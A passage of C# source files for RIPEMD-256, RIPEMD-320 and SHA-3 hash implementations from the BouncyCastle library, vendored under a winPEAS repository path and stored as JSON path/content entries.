  b = F3(b, c, d, a, X[4], 7);\n            a = F3(a, b, c, d, X[9], 14);\n            d = F3(d, a, b, c, X[15], 9);\n            c = F3(c, d, a, b, X[8], 13);\n            b = F3(b, c, d, a, X[1], 15);\n            a = F3(a, b, c, d, X[2], 14);\n            d = F3(d, a, b, c, X[7], 8);\n            c = F3(c, d, a, b, X[0], 13);\n            b = F3(b, c, d, a, X[6], 6);\n            a = F3(a, b, c, d, X[13], 5);\n            d = F3(d, a, b, c, X[11], 12);\n            c = F3(c, d, a, b, X[5], 7);\n            b = F3(b, c, d, a, X[12], 5);\n\n            aa = FF2(aa, bb, cc, dd, X[15], 9);\n            dd = FF2(dd, aa, bb, cc, X[5], 7);\n            cc = FF2(cc, dd, aa, bb, X[1], 15);\n            bb = FF2(bb, cc, dd, aa, X[3], 11);\n            aa = FF2(aa, bb, cc, dd, X[7], 8);\n            dd = FF2(dd, aa, bb, cc, X[14], 6);\n            cc = FF2(cc, dd, aa, bb, X[6], 6);\n            bb = FF2(bb, cc, dd, aa, X[9], 14);\n            aa = FF2(aa, bb, cc, dd, X[11], 12);\n            dd = FF2(dd, aa, bb, cc, X[8], 13);\n            cc = FF2(cc, dd, aa, bb, X[12], 5);\n            bb = FF2(bb, cc, dd, aa, X[2], 14);\n            aa = FF2(aa, bb, cc, dd, X[10], 13);\n            dd = FF2(dd, aa, bb, cc, X[0], 13);\n            cc = FF2(cc, dd, aa, bb, X[4], 7);\n            bb = FF2(bb, cc, dd, aa, X[13], 5);\n\n            t = c; c = cc; cc = t;\n\n            //\n            // Round 4\n            //\n            a = F4(a, b, c, d, X[1], 11);\n            d = F4(d, a, b, c, X[9], 12);\n            c = F4(c, d, a, b, X[11], 14);\n            b = F4(b, c, d, a, X[10], 15);\n            a = F4(a, b, c, d, X[0], 14);\n            d = F4(d, a, b, c, X[8], 15);\n            c = F4(c, d, a, b, X[12], 9);\n            b = F4(b, c, d, a, X[4], 8);\n            a = F4(a, b, c, d, X[13], 9);\n            d = F4(d, a, b, c, X[3], 14);\n            c = F4(c, d, a, b, X[7], 5);\n            b = F4(b, c, d, a, X[15], 6);\n            a = F4(a, b, c, d, X[14], 8);\n            d = F4(d, a, b, c, X[5], 6);\n            c = F4(c, d, a, b, X[6], 5);\n            b = F4(b, c, d, a, X[2], 12);\n\n            aa = FF1(aa, bb, cc, dd, X[8], 15);\n            dd = FF1(dd, aa, bb, cc, X[6], 5);\n            cc = FF1(cc, dd, aa, bb, X[4], 8);\n            bb = FF1(bb, cc, dd, aa, X[1], 11);\n            aa = FF1(aa, bb, cc, dd, X[3], 14);\n            dd = FF1(dd, aa, bb, cc, X[11], 14);\n            cc = FF1(cc, dd, aa, bb, X[15], 6);\n            bb = FF1(bb, cc, dd, aa, X[0], 14);\n            aa = FF1(aa, bb, cc, dd, X[5], 6);\n            dd = FF1(dd, aa, bb, cc, X[12], 9);\n            cc = FF1(cc, dd, aa, bb, X[2], 12);\n            bb = FF1(bb, cc, dd, aa, X[13], 9);\n            aa = FF1(aa, bb, cc, dd, X[9], 12);\n            dd = FF1(dd, aa, bb, cc, X[7], 5);\n            cc = FF1(cc, dd, aa, bb, X[10], 15);\n            bb = FF1(bb, cc, dd, aa, X[14], 8);\n\n            t = d; d = dd; dd = t;\n\n            H0 += a;\n            H1 += b;\n            H2 += c;\n            H3 += d;\n            H4 += aa;\n            H5 += bb;\n            H6 += cc;\n            H7 += dd;\n\n            //\n            // reset the offset and clean out the word buffer.\n            //\n            xOff = 0;\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n        }\n\t\t\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new RipeMD256Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tRipeMD256Digest d = (RipeMD256Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/RipeMD320Digest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n\t/// <remarks>\n\t/// <p>Implementation of RipeMD 320.</p>\n\t/// <p><b>Note:</b> this algorithm offers the same level of security as RipeMD160.</p>\n\t/// </remarks>\n    public class RipeMD320Digest\n\t\t: GeneralDigest\n    {\n        public override string AlgorithmName\n\t\t{\n\t\t\tget { return \"RIPEMD320\"; }\n\t\t}\n\n\t\tpublic override int GetDigestSize()\n\t\t{\n\t\t\treturn DigestLength;\n\t\t}\n\n\t\tprivate const int DigestLength = 40;\n\n\t\tprivate int H0, H1, H2, H3, H4, H5, H6, H7, H8, H9; // IV's\n\n        private int[] X = new int[16];\n        private int xOff;\n\n        /// <summary> Standard constructor</summary>\n        public RipeMD320Digest()\n        {\n            Reset();\n        }\n\n        /// <summary> Copy constructor.  This will copy the state of the provided\n        /// message digest.\n        /// </summary>\n        public RipeMD320Digest(RipeMD320Digest t)\n\t\t\t: base(t)\n        {\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprivate void CopyIn(RipeMD320Digest t)\n\t\t{\n\t\t\tbase.CopyIn(t);\n\n            H0 = t.H0;\n            H1 = t.H1;\n            H2 = t.H2;\n            H3 = t.H3;\n            H4 = t.H4;\n            H5 = t.H5;\n            H6 = t.H6;\n            H7 = t.H7;\n            H8 = t.H8;\n            H9 = t.H9;\n\n            Array.Copy(t.X, 0, X, 0, t.X.Length);\n            xOff = t.xOff;\n        }\n\n        internal override void ProcessWord(\n            byte[] input,\n            int inOff)\n        {\n            X[xOff++] = (input[inOff] & 0xff) | ((input[inOff + 1] & 0xff) << 8)\n                | ((input[inOff + 2] & 0xff) << 16) | ((input[inOff + 3] & 0xff) << 24);\n\n            if (xOff == 16)\n            {\n                ProcessBlock();\n            }\n        }\n\n        internal override void ProcessLength(\n            long bitLength)\n        {\n            if (xOff > 14)\n            {\n                ProcessBlock();\n            }\n\n            X[14] = (int)(bitLength & 0xffffffff);\n            X[15] = (int)((ulong)bitLength >> 32);\n        }\n\n        private void UnpackWord(\n            int word,\n            byte[] outBytes,\n            int outOff)\n        {\n            outBytes[outOff] = (byte)word;\n            outBytes[outOff + 1] = (byte)((uint)word >> 8);\n            outBytes[outOff + 2] = (byte)((uint)word >> 16);\n            outBytes[outOff + 3] = (byte)((uint)word >> 24);\n        }\n\n        public override int DoFinal(byte[] output, int outOff)\n        {\n            Finish();\n\n            UnpackWord(H0, output, outOff);\n            UnpackWord(H1, output, outOff + 4);\n            UnpackWord(H2, output, outOff + 8);\n            UnpackWord(H3, output, outOff + 12);\n            UnpackWord(H4, output, outOff + 16);\n            UnpackWord(H5, output, outOff + 20);\n            UnpackWord(H6, output, outOff + 24);\n            UnpackWord(H7, output, outOff + 28);\n            UnpackWord(H8, output, outOff + 32);\n            UnpackWord(H9, output, outOff + 36);\n\n            Reset();\n\n            return DigestLength;\n        }\n\n        /// <summary> reset the chaining variables to the IV values.</summary>\n        public override void  Reset()\n        {\n            base.Reset();\n\n            H0 = unchecked((int) 0x67452301);\n            H1 = unchecked((int) 0xefcdab89);\n            H2 = unchecked((int) 0x98badcfe);\n            H3 = unchecked((int) 0x10325476);\n            H4 = unchecked((int) 0xc3d2e1f0);\n            H5 = unchecked((int) 0x76543210);\n            H6 = unchecked((int) 0xFEDCBA98);\n            H7 = unchecked((int) 0x89ABCDEF);\n            H8 = unchecked((int) 0x01234567);\n            H9 = unchecked((int) 0x3C2D1E0F);\n\n            xOff = 0;\n\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n        }\n\n        /*\n        * rotate int x left n bits.\n        */\n        private int RL(\n            int x,\n            int n)\n        {\n            return (x << n) | (int)(((uint)x) >> (32 - n));\n        }\n\n        /*\n        * f1,f2,f3,f4,f5 are the basic RipeMD160 functions.\n        */\n\n        /*\n        * rounds 0-15\n        */\n        private int F1(int x, int y, int z)\n        {\n            return x ^ y ^ z;\n        }\n\n        /*\n        * rounds 16-31\n        */\n        private int F2(int x, int y, int z)\n        {\n            return (x & y) | (~ x & z);\n        }\n\n        /*\n        * rounds 32-47\n        */\n        private int F3(int x, int y, int z)\n        {\n            return (x | ~ y) ^ z;\n        }\n\n        /*\n        * rounds 48-63\n        */\n        private int F4(int x, int y, int z)\n        {\n            return (x & z) | (y & ~ z);\n        }\n\n        /*\n        * rounds 64-79\n        */\n        private int F5(int x, int y, int z)\n        {\n            return x ^ (y | ~z);\n        }\n\n        internal override void ProcessBlock()\n        {\n            int a, aa;\n            int b, bb;\n            int c, cc;\n            int d, dd;\n            int e, ee;\n            int t;\n\n            a = H0;\n            b = H1;\n            c = H2;\n            d = H3;\n            e = H4;\n            aa = H5;\n            bb = H6;\n            cc = H7;\n            dd = H8;\n            ee = H9;\n\n            //\n            // Rounds 1 - 16\n            //\n            // left\n            a = RL(a + F1(b, c, d) + X[0], 11) + e; c = RL(c, 10);\n            e = RL(e + F1(a, b, c) + X[1], 14) + d; b = RL(b, 10);\n            d = RL(d + F1(e, a, b) + X[2], 15) + c; a = RL(a, 10);\n            c = RL(c + F1(d, e, a) + X[3], 12) + b; e = RL(e, 10);\n            b = RL(b + F1(c, d, e) + X[4], 5) + a; d = RL(d, 10);\n            a = RL(a + F1(b, c, d) + X[5], 8) + e; c = RL(c, 10);\n            e = RL(e + F1(a, b, c) + X[6], 7) + d; b = RL(b, 10);\n            d = RL(d + F1(e, a, b) + X[7], 9) + c; a = RL(a, 10);\n            c = RL(c + F1(d, e, a) + X[8], 11) + b; e = RL(e, 10);\n            b = RL(b + F1(c, d, e) + X[9], 13) + a; d = RL(d, 10);\n            a = RL(a + F1(b, c, d) + X[10], 14) + e; c = RL(c, 10);\n            e = RL(e + F1(a, b, c) + X[11], 15) + d; b = RL(b, 10);\n            d = RL(d + F1(e, a, b) + X[12], 6) + c; a = RL(a, 10);\n            c = RL(c + F1(d, e, a) + X[13], 7) + b; e = RL(e, 10);\n            b = RL(b + F1(c, d, e) + X[14], 9) + a; d = RL(d, 10);\n            a = RL(a + F1(b, c, d) + X[15], 8) + e; c = RL(c, 10);\n\n            // right\n            aa = RL(aa + F5(bb, cc, dd) + X[5] + unchecked((int)0x50a28be6), 8) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F5(aa, bb, cc) + X[14] + unchecked((int)0x50a28be6), 9) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F5(ee, aa, bb) + X[7] + unchecked((int)0x50a28be6), 9) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F5(dd, ee, aa) + X[0] + unchecked((int)0x50a28be6), 11) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F5(cc, dd, ee) + X[9] + unchecked((int)0x50a28be6), 13) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F5(bb, cc, dd) + X[2] + unchecked((int)0x50a28be6), 15) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F5(aa, bb, cc) + X[11] + unchecked((int)0x50a28be6), 15) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F5(ee, aa, bb) + X[4] + unchecked((int)0x50a28be6), 5) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F5(dd, ee, aa) + X[13] + unchecked((int)0x50a28be6), 7) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F5(cc, dd, ee) + X[6] + unchecked((int)0x50a28be6), 7) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F5(bb, cc, dd) + X[15] + unchecked((int)0x50a28be6), 8) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F5(aa, bb, cc) + X[8] + unchecked((int)0x50a28be6), 11) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F5(ee, aa, bb) + X[1] + unchecked((int)0x50a28be6), 14) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F5(dd, ee, aa) + X[10] + unchecked((int)0x50a28be6), 14) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F5(cc, dd, ee) + X[3] + unchecked((int)0x50a28be6), 12) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F5(bb, cc, dd) + X[12] + unchecked((int)0x50a28be6), 6) + ee; cc = RL(cc, 10);\n\n            t = a; a = aa; aa = t;\n            //\n            // Rounds 16-31\n            //\n            // left\n            e = RL(e + F2(a, b, c) + X[7] + unchecked((int)0x5a827999), 7) + d; b = RL(b, 10);\n            d = RL(d + F2(e, a, b) + X[4] + unchecked((int)0x5a827999), 6) + c; a = RL(a, 10);\n            c = RL(c + F2(d, e, a) + X[13] + unchecked((int)0x5a827999), 8) + b; e = RL(e, 10);\n            b = RL(b + F2(c, d, e) + X[1] + unchecked((int)0x5a827999), 13) + a; d = RL(d, 10);\n            a = RL(a + F2(b, c, d) + X[10] + unchecked((int)0x5a827999), 11) + e; c = RL(c, 10);\n            e = RL(e + F2(a, b, c) + X[6] + unchecked((int)0x5a827999), 9) + d; b = RL(b, 10);\n            d = RL(d + F2(e, a, b) + X[15] + unchecked((int)0x5a827999), 7) + c; a = RL(a, 10);\n            c = RL(c + F2(d, e, a) + X[3] + unchecked((int)0x5a827999), 15) + b; e = RL(e, 10);\n            b = RL(b + F2(c, d, e) + X[12] + unchecked((int)0x5a827999), 7) + a; d = RL(d, 10);\n            a = RL(a + F2(b, c, d) + X[0] + unchecked((int)0x5a827999), 12) + e; c = RL(c, 10);\n            e = RL(e + F2(a, b, c) + X[9] + unchecked((int)0x5a827999), 15) + d; b = RL(b, 10);\n            d = RL(d + F2(e, a, b) + X[5] + unchecked((int)0x5a827999), 9) + c; a = RL(a, 10);\n            c = RL(c + F2(d, e, a) + X[2] + unchecked((int)0x5a827999), 11) + b; e = RL(e, 10);\n            b = RL(b + F2(c, d, e) + X[14] + unchecked((int)0x5a827999), 7) + a; d = RL(d, 10);\n            a = RL(a + F2(b, c, d) + X[11] + unchecked((int)0x5a827999), 13) + e; c = RL(c, 10);\n            e = RL(e + F2(a, b, c) + X[8] + unchecked((int)0x5a827999), 12) + d; b = RL(b, 10);\n\n            // right\n            ee = RL(ee + F4(aa, bb, cc) + X[6] + unchecked((int)0x5c4dd124), 9) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F4(ee, aa, bb) + X[11] + unchecked((int)0x5c4dd124), 13) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F4(dd, ee, aa) + X[3] + unchecked((int)0x5c4dd124), 15) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F4(cc, dd, ee) + X[7] + unchecked((int)0x5c4dd124), 7) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F4(bb, cc, dd) + X[0] + unchecked((int)0x5c4dd124), 12) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F4(aa, bb, cc) + X[13] + unchecked((int)0x5c4dd124), 8) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F4(ee, aa, bb) + X[5] + unchecked((int)0x5c4dd124), 9) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F4(dd, ee, aa) + X[10] + unchecked((int)0x5c4dd124), 11) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F4(cc, dd, ee) + X[14] + unchecked((int)0x5c4dd124), 7) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F4(bb, cc, dd) + X[15] + unchecked((int)0x5c4dd124), 7) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F4(aa, bb, cc) + X[8] + unchecked((int)0x5c4dd124), 12) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F4(ee, aa, bb) + X[12] + unchecked((int)0x5c4dd124), 7) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F4(dd, ee, aa) + X[4] + unchecked((int)0x5c4dd124), 6) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F4(cc, dd, ee) + X[9] + unchecked((int)0x5c4dd124), 15) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F4(bb, cc, dd) + X[1] + unchecked((int)0x5c4dd124), 13) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F4(aa, bb, cc) + X[2] + unchecked((int)0x5c4dd124), 11) + dd; bb = RL(bb, 10);\n\n            t = b; b = bb; bb = t;\n\n            //\n            // Rounds 32-47\n            //\n            // left\n            d = RL(d + F3(e, a, b) + X[3] + unchecked((int)0x6ed9eba1), 11) + c; a = RL(a, 10);\n            c = RL(c + F3(d, e, a) + X[10] + unchecked((int)0x6ed9eba1), 13) + b; e = RL(e, 10);\n            b = RL(b + F3(c, d, e) + X[14] + unchecked((int)0x6ed9eba1), 6) + a; d = RL(d, 10);\n            a = RL(a + F3(b, c, d) + X[4] + unchecked((int)0x6ed9eba1), 7) + e; c = RL(c, 10);\n            e = RL(e + F3(a, b, c) + X[9] + unchecked((int)0x6ed9eba1), 14) + d; b = RL(b, 10);\n            d = RL(d + F3(e, a, b) + X[15] + unchecked((int)0x6ed9eba1), 9) + c; a = RL(a, 10);\n            c = RL(c + F3(d, e, a) + X[8] + unchecked((int)0x6ed9eba1), 13) + b; e = RL(e, 10);\n            b = RL(b + F3(c, d, e) + X[1] + unchecked((int)0x6ed9eba1), 15) + a; d = RL(d, 10);\n            a = RL(a + F3(b, c, d) + X[2] + unchecked((int)0x6ed9eba1), 14) + e; c = RL(c, 10);\n            e = RL(e + F3(a, b, c) + X[7] + unchecked((int)0x6ed9eba1), 8) + d; b = RL(b, 10);\n            d = RL(d + F3(e, a, b) + X[0] + unchecked((int)0x6ed9eba1), 13) + c; a = RL(a, 10);\n            c = RL(c + F3(d, e, a) + X[6] + unchecked((int)0x6ed9eba1), 6) + b; e = RL(e, 10);\n            b = RL(b + F3(c, d, e) + X[13] + unchecked((int)0x6ed9eba1), 5) + a; d = RL(d, 10);\n            a = RL(a + F3(b, c, d) + X[11] + unchecked((int)0x6ed9eba1), 12) + e; c = RL(c, 10);\n            e = RL(e + F3(a, b, c) + X[5] + unchecked((int)0x6ed9eba1), 7) + d; b = RL(b, 10);\n            d = RL(d + F3(e, a, b) + X[12] + unchecked((int)0x6ed9eba1), 5) + c; a = RL(a, 10);\n\n            // right\n            dd = RL(dd + F3(ee, aa, bb) + X[15] + unchecked((int)0x6d703ef3), 9) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F3(dd, ee, aa) + X[5] + unchecked((int)0x6d703ef3), 7) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F3(cc, dd, ee) + X[1] + unchecked((int)0x6d703ef3), 15) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F3(bb, cc, dd) + X[3] + unchecked((int)0x6d703ef3), 11) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F3(aa, bb, cc) + X[7] + unchecked((int)0x6d703ef3), 8) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F3(ee, aa, bb) + X[14] + unchecked((int)0x6d703ef3), 6) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F3(dd, ee, aa) + X[6] + unchecked((int)0x6d703ef3), 6) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F3(cc, dd, ee) + X[9] + unchecked((int)0x6d703ef3), 14) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F3(bb, cc, dd) + X[11] + unchecked((int)0x6d703ef3), 12) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F3(aa, bb, cc) + X[8] + unchecked((int)0x6d703ef3), 13) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F3(ee, aa, bb) + X[12] + unchecked((int)0x6d703ef3), 5) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F3(dd, ee, aa) + X[2] + unchecked((int)0x6d703ef3), 14) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F3(cc, dd, ee) + X[10] + unchecked((int)0x6d703ef3), 13) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F3(bb, cc, dd) + X[0] + unchecked((int)0x6d703ef3), 13) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F3(aa, bb, cc) + X[4] + unchecked((int)0x6d703ef3), 7) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F3(ee, aa, bb) + X[13] + unchecked((int)0x6d703ef3), 5) + cc; aa = RL(aa, 10);\n\n            t = c; c = cc; cc = t;\n\n            //\n            // Rounds 48-63\n            //\n            // left\n            c = RL(c + F4(d, e, a) + X[1] + unchecked((int)0x8f1bbcdc), 11) + b; e = RL(e, 10);\n            b = RL(b + F4(c, d, e) + X[9] + unchecked((int)0x8f1bbcdc), 12) + a; d = RL(d, 10);\n            a = RL(a + F4(b, c, d) + X[11] + unchecked((int)0x8f1bbcdc), 14) + e; c = RL(c, 10);\n            e = RL(e + F4(a, b, c) + X[10] + unchecked((int)0x8f1bbcdc), 15) + d; b = RL(b, 10);\n            d = RL(d + F4(e, a, b) + X[0] + unchecked((int)0x8f1bbcdc), 14) + c; a = RL(a, 10);\n            c = RL(c + F4(d, e, a) + X[8] + unchecked((int)0x8f1bbcdc), 15) + b; e = RL(e, 10);\n            b = RL(b + F4(c, d, e) + X[12] + unchecked((int)0x8f1bbcdc), 9) + a; d = RL(d, 10);\n            a = RL(a + F4(b, c, d) + X[4] + unchecked((int)0x8f1bbcdc), 8) + e; c = RL(c, 10);\n            e = RL(e + F4(a, b, c) + X[13] + unchecked((int)0x8f1bbcdc), 9) + d; b = RL(b, 10);\n            d = RL(d + F4(e, a, b) + X[3] + unchecked((int)0x8f1bbcdc), 14) + c; a = RL(a, 10);\n            c = RL(c + F4(d, e, a) + X[7] + unchecked((int)0x8f1bbcdc), 5) + b; e = RL(e, 10);\n            b = RL(b + F4(c, d, e) + X[15] + unchecked((int)0x8f1bbcdc), 6) + a; d = RL(d, 10);\n            a = RL(a + F4(b, c, d) + X[14] + unchecked((int)0x8f1bbcdc), 8) + e; c = RL(c, 10);\n            e = RL(e + F4(a, b, c) + X[5] + unchecked((int)0x8f1bbcdc), 6) + d; b = RL(b, 10);\n            d = RL(d + F4(e, a, b) + X[6] + unchecked((int)0x8f1bbcdc), 5) + c; a = RL(a, 10);\n            c = RL(c + F4(d, e, a) + X[2] + unchecked((int)0x8f1bbcdc), 12) + b; e = RL(e, 10);\n\n            // right\n            cc = RL(cc + F2(dd, ee, aa) + X[8] + unchecked((int)0x7a6d76e9), 15) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F2(cc, dd, ee) + X[6] + unchecked((int)0x7a6d76e9), 5) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F2(bb, cc, dd) + X[4] + unchecked((int)0x7a6d76e9), 8) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F2(aa, bb, cc) + X[1] + unchecked((int)0x7a6d76e9), 11) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F2(ee, aa, bb) + X[3] + unchecked((int)0x7a6d76e9), 14) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F2(dd, ee, aa) + X[11] + unchecked((int)0x7a6d76e9), 14) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F2(cc, dd, ee) + X[15] + unchecked((int)0x7a6d76e9), 6) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F2(bb, cc, dd) + X[0] + unchecked((int)0x7a6d76e9), 14) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F2(aa, bb, cc) + X[5] + unchecked((int)0x7a6d76e9), 6) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F2(ee, aa, bb) + X[12] + unchecked((int)0x7a6d76e9), 9) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F2(dd, ee, aa) + X[2] + unchecked((int)0x7a6d76e9), 12) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F2(cc, dd, ee) + X[13] + unchecked((int)0x7a6d76e9), 9) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F2(bb, cc, dd) + X[9] + unchecked((int)0x7a6d76e9), 12) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F2(aa, bb, cc) + X[7] + unchecked((int)0x7a6d76e9), 5) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F2(ee, aa, bb) + X[10] + unchecked((int)0x7a6d76e9), 15) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F2(dd, ee, aa) + X[14] + unchecked((int)0x7a6d76e9), 8) + bb; ee = RL(ee, 10);\n\n            t = d; d = dd; dd = t;\n\n            //\n            // Rounds 64-79\n            //\n            // left\n            b = RL(b + F5(c, d, e) + X[4] + unchecked((int)0xa953fd4e), 9) + a; d = RL(d, 10);\n            a = RL(a + F5(b, c, d) + X[0] + unchecked((int)0xa953fd4e), 15) + e; c = RL(c, 10);\n            e = RL(e + F5(a, b, c) + X[5] + unchecked((int)0xa953fd4e), 5) + d; b = RL(b, 10);\n            d = RL(d + F5(e, a, b) + X[9] + unchecked((int)0xa953fd4e), 11) + c; a = RL(a, 10);\n            c = RL(c + F5(d, e, a) + X[7] + unchecked((int)0xa953fd4e), 6) + b; e = RL(e, 10);\n            b = RL(b + F5(c, d, e) + X[12] + unchecked((int)0xa953fd4e), 8) + a; d = RL(d, 10);\n            a = RL(a + F5(b, c, d) + X[2] + unchecked((int)0xa953fd4e), 13) + e; c = RL(c, 10);\n            e = RL(e + F5(a, b, c) + X[10] + unchecked((int)0xa953fd4e), 12) + d; b = RL(b, 10);\n            d = RL(d + F5(e, a, b) + X[14] + unchecked((int)0xa953fd4e), 5) + c; a = RL(a, 10);\n            c = RL(c + F5(d, e, a) + X[1] + unchecked((int)0xa953fd4e), 12) + b; e = RL(e, 10);\n            b = RL(b + F5(c, d, e) + X[3] + unchecked((int)0xa953fd4e), 13) + a; d = RL(d, 10);\n            a = RL(a + F5(b, c, d) + X[8] + unchecked((int)0xa953fd4e), 14) + e; c = RL(c, 10);\n            e = RL(e + F5(a, b, c) + X[11] + unchecked((int)0xa953fd4e), 11) + d; b = RL(b, 10);\n            d = RL(d + F5(e, a, b) + X[6] + unchecked((int)0xa953fd4e), 8) + c; a = RL(a, 10);\n            c = RL(c + F5(d, e, a) + X[15] + unchecked((int)0xa953fd4e), 5) + b; e = RL(e, 10);\n            b = RL(b + F5(c, d, e) + X[13] + unchecked((int)0xa953fd4e), 6) + a; d = RL(d, 10);\n\n            // right\n            bb = RL(bb + F1(cc, dd, ee) + X[12], 8) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F1(bb, cc, dd) + X[15], 5) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F1(aa, bb, cc) + X[10], 12) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F1(ee, aa, bb) + X[4], 9) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F1(dd, ee, aa) + X[1], 12) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F1(cc, dd, ee) + X[5], 5) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F1(bb, cc, dd) + X[8], 14) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F1(aa, bb, cc) + X[7], 6) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F1(ee, aa, bb) + X[6], 8) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F1(dd, ee, aa) + X[2], 13) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F1(cc, dd, ee) + X[13], 6) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F1(bb, cc, dd) + X[14], 5) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F1(aa, bb, cc) + X[0], 15) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F1(ee, aa, bb) + X[3], 13) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F1(dd, ee, aa) + X[9], 11) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F1(cc, dd, ee) + X[11], 11) + aa; dd = RL(dd, 10);\n\n            //\n            // do (e, ee) swap as part of assignment.\n            //\n\n            H0 += a;\n            H1 += b;\n            H2 += c;\n            H3 += d;\n            H4 += ee;\n            H5 += aa;\n            H6 += bb;\n            H7 += cc;\n            H8 += dd;\n            H9 += e;\n\n            //\n            // reset the offset and clean out the word buffer.\n            //\n            xOff = 0;\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n        }\n\t\t\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new RipeMD320Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tRipeMD320Digest d = (RipeMD320Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/SHA3Digest.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /// <summary>\n    /// Implementation of SHA-3 based on following KeccakNISTInterface.c from http://keccak.noekeon.org/\n    /// </summary>\n    /// <remarks>\n    /// Following the naming conventions used in the C source code to enable easy review of the implementation.\n    /// </remarks>\n    public class Sha3Digest\n        : KeccakDigest\n    {\n        private static int CheckBitLength(int bitLength)\n        {\n            switch (bitLength)\n            {\n            case 224:\n            case 256:\n            case 384:\n            case 512:\n                return bitLength;\n            default:\n                throw new ArgumentException(bitLength + \" not supported for SHA-3\", \"bitLength\");\n            }\n        }\n\n        public Sha3Digest()\n            : this(256)\n        {\n        }\n\n        public Sha3Digest(int bitLength)\n            : base(CheckBitLength(bitLength))\n        {\n        }\n\n        public Sha3Digest(Sha3Digest source)\n            : base(source)\n        {\n        }\n\n        public override string AlgorithmName\n        {\n            get { return \"SHA3-\" + fixedOutputLength; }\n        }\n\n        public override int DoFinal(byte[] output, int outOff)\n        {\n            AbsorbBits(0x02, 2);\n\n            return base.DoFinal(output,  outOff);\n        }\n\n        /*\n         * 